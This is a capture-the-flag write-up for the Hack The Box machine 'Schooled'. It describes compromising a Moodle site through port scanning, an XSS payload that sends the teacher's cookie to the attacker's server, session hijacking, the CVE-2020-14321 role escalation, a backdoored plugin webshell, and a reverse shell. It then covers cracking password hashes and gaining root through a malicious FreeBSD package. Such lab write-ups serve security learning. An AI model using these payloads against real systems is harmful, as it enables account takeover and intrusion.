Hack The Box: Schooled


Jump Ahead: EnumFootholdUserRootResources

TL;DR;

To solve this machine, we begin by enumerating open ports – finding ports 22 and 80 open. From the webserver, we find information for a possible subdomain. Going to the subdomain, we find a teaching platform, which allows open enrollment in a course. After enrolling in the course, we find a way to get the teacher’s session token. After hijacking the teacher’s session, we are able to privilege escalate to become a course manager. As a course manager, we are able to install a malicious plugin that allows us to perform remote code execution – using it to get a reverse shell as the www-data user. From the platform database, we are able to extract password hashes, and crack one that will allow access as the jamie system user – allowing us to read user.txt. As jamie, we are able to install system packages. With this ability, we are able to execute a reverse shell as the root user, and read root.txt.

Enumeration

Like all machines, we begin by enumerating open ports – finding ports 22, 80, and 33060 open.

$ sudo nmap -v -p- --min-rate 3000 $RHOST
[...]
$ sudo nmap -sV -A -oA enum/nmap/tcp-scripts -p 22,80,33060 $RHOST

# Nmap 7.91 scan initiated Sat Apr  3 17:22:55 2021 as: nmap -sV -A -oA enum/nmap/tcp-scripts -p 22,80,33060 10.129.128.213
Nmap scan report for 10.129.128.213
Host is up (0.045s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.9 (FreeBSD 20200214; protocol 2.0)
| ssh-hostkey: 
|   2048 1d:69:83:78:fc:91:f8:19:c8:75:a7:1e:76:45:05:dc (RSA)
|   256 e9:b2:d2:23:9d:cf:0e:63:e0:6d:b9:b1:a6:86:93:38 (ECDSA)
|_  256 7f:51:88:f7:3c:dd:77:5e:ba:25:4d:4c:09:25:ea:1f (ED25519)
80/tcp    open  http    Apache httpd 2.4.46 ((FreeBSD) PHP/7.4.15)
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.46 (FreeBSD) PHP/7.4.15
|_http-title: Schooled - A new kind of educational institute
33060/tcp open  mysqlx?
| fingerprint-strings: 
|   DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp: 
|     Invalid message"
|     HY000
|   LDAPBindReq: 
|     *Parse error unserializing protobuf message"
|     HY000
|   oracle-tns: 
|     Invalid message-frame."
|_    HY000
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port33060-TCP:V=7.91%I=7%D=4/3%Time=6068EACB%P=x86_64-pc-linux-gnu%r(NU
SF:LL,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(GenericLines,9,"\x05\0\0\0\x0b\x
SF:08\x05\x1a\0")%r(GetRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(HTTPOpt
SF:ions,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(RTSPRequest,9,"\x05\0\0\0\x0b\
SF:x08\x05\x1a\0")%r(RPCCheck,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNSVersi
SF:onBindReqTCP,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNSStatusRequestTCP,2B
SF:,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fIn
SF:valid\x20message\"\x05HY000")%r(Help,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%
SF:r(SSLSessionReq,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\
SF:x10\x88'\x1a\x0fInvalid\x20message\"\x05HY000")%r(TerminalServerCookie,
SF:9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(TLSSessionReq,2B,"\x05\0\0\0\x0b\x0
SF:8\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\
SF:x05HY000")%r(Kerberos,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(SMBProgNeg,9,
SF:"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(X11Probe,2B,"\x05\0\0\0\x0b\x08\x05\x
SF:1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\x05HY00
SF:0")%r(FourOhFourRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LPDString,9
SF:,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LDAPSearchReq,2B,"\x05\0\0\0\x0b\x08
SF:\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\x
SF:05HY000")%r(LDAPBindReq,46,"\x05\0\0\0\x0b\x08\x05\x1a\x009\0\0\0\x01\x
SF:08\x01\x10\x88'\x1a\*Parse\x20error\x20unserializing\x20protobuf\x20mes
SF:sage\"\x05HY000")%r(SIPOptions,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LAND
SF:esk-RC,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(TerminalServer,9,"\x05\0\0\0
SF:\x0b\x08\x05\x1a\0")%r(NCP,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(NotesRPC
SF:,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0
SF:fInvalid\x20message\"\x05HY000")%r(JavaRMI,9,"\x05\0\0\0\x0b\x08\x05\x1
SF:a\0")%r(WMSRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(oracle-tns,32,"\
SF:x05\0\0\0\x0b\x08\x05\x1a\0%\0\0\0\x01\x08\x01\x10\x88'\x1a\x16Invalid\
SF:x20message-frame\.\"\x05HY000")%r(ms-sql-s,9,"\x05\0\0\0\x0b\x08\x05\x1
SF:a\0")%r(afp,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\
SF:x88'\x1a\x0fInvalid\x20message\"\x05HY000");
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: FreeBSD 12.0-RELEASE - 13.0-CURRENT (95%), FreeBSD 11.1-RELEASE (93%), FreeBSD 11.2-RELEASE - 11.3 RELEASE or 11.2-STABLE (93%), FreeBSD 11.0-RELEASE (91%), FreeBSD 11.1-STABLE (90%), FreeBSD 11.2-RELEASE - 11.3-RELEASE (89%), FreeBSD 12.0-RELEASE - 12.1-RELEASE or 12.0-STABLE (89%), FreeBSD 11.0-CURRENT (89%), FreeBSD 12.0-RELEASE (89%), FreeBSD 11.0-RELEASE - 12.0-CURRENT (89%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd

TRACEROUTE (using port 33060/tcp)
HOP RTT      ADDRESS
1   44.03 ms 10.10.14.1
2   44.39 ms 10.129.128.213

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Apr  3 17:23:27 2021 -- 1 IP address (1 host up) scanned in 32.21 seconds

Seeing as port 80 is hosting a webserver, we enumerate it with tools like ffuf and nikto, however, we do not see anything that really stands out. Next, we go to the webserver to perform manual enumeration. When we go to the webserver, we see that it appears to be for a learning institute. At the bottom of the page, we see contact details that also discloses the domain name schooled.htb. For now, we add the domain to our /etc/hosts file since “.htb” is not a valid top-level domain.

Next, we continue looking through the site pages for more information. On the “Teachers” page and from the testimonials, we learn of potential user names. Lastly, we head to the “About Us” page. From reading this page, we learn the content is delivered using Moodle – which is a learning platform.

As we did not see “moodle” as a subdirectory in our automated enumeration, we assume this may be a potential subdomain. To check this, we also add moodle.schooled.htb to our /etc/hosts file. Once added, we try to navigate to http://moodle.schooled.htb in our browser, and are presented with the Moodle platform.

We try to navigate around the site, but can not seem to do much without an account. We try to also login using guest authentication, but this also does not give much advancement. We will need to try to register an account.

Foothold

Since we are not able to make any progress on Moodle without registering an account, that’s what we will do. When we try to register an account, the application discloses it only accepts email addresses that have the student.schooled.htb subdomain. As there is a chance that email verification is not needed, we change our email subdomain to what is allowed. After doing this, we are allowed access to the platform.

From the dashboard, we are able to enroll in the “Mathematics” course, and navigate to it. Next, we read the announcements. While reading the “Reminder for joining students” announcement, the teacher, Manuel Phillips, tells us to update our MoodleNet profile and he will check it.

Since our teacher will check a link we set on our profile, we can try to perform Cross-Site Scripting to cause the instructor to give us his session cookie. If successful, we will be able to become the instructor. To set our MoodleNet profile link, we will need to edit our account information. In the MoodleNet input field, we can put something like <script>document.location="http://our-ip/cookies.php?cookie="+document.cookie</script> to cause the teacher to go to a webserver we own, and send their Moodle site cookies. Once set, we can start a netcat listener on port 80, and wait to see if the instructor is forwarded to us. After some time, the instructor does get forwarded to us and exposes his session cookie.

Once we have his session token, we can replace our own with it, and refresh the page. After the refresh, we are indeed logged in as Manuel Phillips.

The first thing we do is look around the site for potential avenues for exploitation, however, we are unsuccessful. Next, we try to determine the version of the platform, as that will help in enumerating information that we can exploit. To do this, we check github for filenames that will disclose the version. From the repository, we find the file lib/upgrade.txt, and going to http://moodle.schooled.htb/moodle/lib/upgrade.txt discloses the application is running version 3.9. Checking searchsploit for this version does not reveal anything, so next, we head to the official site to check the changelogs for security updates. Based on the changelog for version 3.9.1, 3.9 may have an issue that allows a teacher to privilege escalate into a manager.

From the security announcement, we learn this vulnerability has the CVE ID “CVE-2020-14321” assigned to it. Next, we Google this CVE ID, and come across this GitHub repo that contains a POC and video. Following the video, we go to enroll a random student, but rather than allow the request to go through, we intercept it and forward it to the BurpSuite Repeater tool. Once in the repeater, we change the “userlist[]” parameter to the teacher’s userid (24), and change the “roletoassign” parameter to “1”, which is the manager role. Lastly, we send the request, and we are then presented with a success message. We then recheck the course participants, and see that Manuel is now a manager and teacher.

From our understanding of the video, since we are now a course manager, we should now be able to impersonate an administrator. Doing so, we will then be able to hopefully create a backdoor. Before all this, we need to determine who the platform administrator is. If we remember from the main website, Lianne Carter is listed as the manager, so she is likely the site administrator. To try to impersonate her, we will need to add her to the mathematics course as a student.

After she is added as a student, we can click her name and go to her profile. At the bottom of her profile page, there is an “Administration” section, with a link to “Log in as”. After clicking that link, we are shown a screen that tells us we are logged in as Lianne Carter.

Now that we are the site administrator, we want to upload a malicious plugin that will give us remote code execution. To do this, we head to the “Site administration” page. We head to the “Users” tab, and click “Define Roles” under the permissions section. Next, we edit the manager role, and save it unchanged – to capture the post request. From BurpSuite, we send the request to the Repeater tool, and replace the payload with what was on the Github. This just changes the permissions of our user, and allows us to install plugins. After we submit the request, we go to the “Plugins” tab and can now install plugins.

From the Github repo, we are able to download the backdoored plugin. After we click “Install Plugins”, we upload the malicious plugin. Once it is uploaded, we can now go to http://moodle.schooled.htb/moodle/blocks/rce/lang/en/block_rce.php?cmd=id to execute system commands.

Using this, we are now able to get a reverse shell as the www-data user.

Getting User

Now that we have a shell as www-data, first thing we want to do is grab credentials from the database. We can grab Moodle database credentials from /usr/local/www/apache24/data/moodle/config.php. Once we grab the credentials, we attempt to use mysql to log in, however, it’s not in the user’s PATH. To find it, we can use the find command.

Once we find the mysql binary, we update the user’s PATH, and log in. Once in, we can now dump the username and password columns of the mdl_user table.

There are a lot of rows returned, and normally we would try cracking them all. Based on the hash identifier ($2y$), these are bcrypt hashes, so cracking them would take a very long time. We should be more methodical of the hashes we crack. The admin user might be one that is worth cracking, as none of the other usernames are system users. To crack it, we use hashcat.

Once the password is cracked, we attempt to use it with the system usernames, and we are given access to the jamie user. We are now given access to user.txt.

Getting Root

Now that we are logged in as jamie, we begin enumerating potential paths for privilege escalation. Before running automated scripts, we start by running sudo -l. By doing this, we see we can run a few package installation commands.

As we can install packages as the root user, we may be able to create a backdoor of some sort. To find a way to weaponize this, we begin by searching for guides on creating FreeBSD packages. In our research, we find this article that seems to detail the process. Following the guide, we create a setup.sh script. In it, we create the “+POST_INSTALL” file to execute a reverse Bash shell. After the script creates the core package configuration files, we then create the package.

Once the package is created, we start a netcat listener to handle the reverse shell. Finally, we install the package with the -U option to avoid the update checks. Once the package installs, we are given a reverse shell as the root user – which gives access to root.txt.

Thank you for taking the time to read my write-up. I am interested in other ways this machine has been solved. Feel free to reach out to me and we can discuss it. Thanks!

Resources